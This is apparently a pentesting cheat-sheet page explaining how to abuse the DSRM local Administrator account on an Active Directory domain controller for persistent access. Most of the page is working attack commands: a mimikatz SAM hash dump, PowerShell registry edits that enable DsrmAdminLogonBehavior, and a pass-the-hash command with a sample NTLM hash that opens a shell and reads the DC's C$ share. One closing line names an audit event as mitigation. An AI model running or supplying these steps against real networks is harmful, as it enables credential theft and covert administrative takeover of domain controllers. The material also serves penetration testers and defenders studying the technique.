# DSRM Credentials There is a **local administrator** account inside each **DC**. Having admin privileges in this machine you can use mimikatz to **dump the local Administrator hash**. Then, modifying a registry to **activate this password** so you can remotely access to this local Administrator user.\ First we need to **dump** the **hash** of the **local Administrator** user inside the DC: ```bash Invoke-Mimikatz -Command '"token::elevate" "lsadump::sam"' ``` Then we need to check if that account will work, and if the registry key has the value "0" or it doesn't exist you need to **set it to "2"**: ```bash Get-ItemProperty "HKLM:\SYSTEM\CURRENTCONTROLSET\CONTROL\LSA" -name DsrmAdminLogonBehavior #Check if the key exists and get the value New-ItemProperty "HKLM:\SYSTEM\CURRENTCONTROLSET\CONTROL\LSA" -name DsrmAdminLogonBehavior -value 2 -PropertyType DWORD #Create key with value "2" if it doesn't exist Set-ItemProperty "HKLM:\SYSTEM\CURRENTCONTROLSET\CONTROL\LSA" -name DsrmAdminLogonBehavior -value 2 #Change value to "2" ``` Then, using a PTH you can **list the content of C$ or even obtain a shell**. Notice that for creating a new powershell session with that hash in memory (for the PTH) **the "domain" used is just the name of the DC machine:** ```bash sekurlsa::pth /domain:dc-host-name /user:Administrator /ntlm:b629ad5753f4c441e3af31c97fad8973 /run:powershell.exe #And in new spawned powershell you now can access via NTLM the content of C$ ls \\dc-host-name\C$ ``` More info about this in: [https://adsecurity.org/?p=1714](https://adsecurity.org/?p=1714) and [https://adsecurity.org/?p=1785](https://adsecurity.org/?p=1785) ## Mitigation * Event ID 4657 - Audit creation/change of `HKLM:\System\CurrentControlSet\Control\Lsa DsrmAdminLogonBehavior`
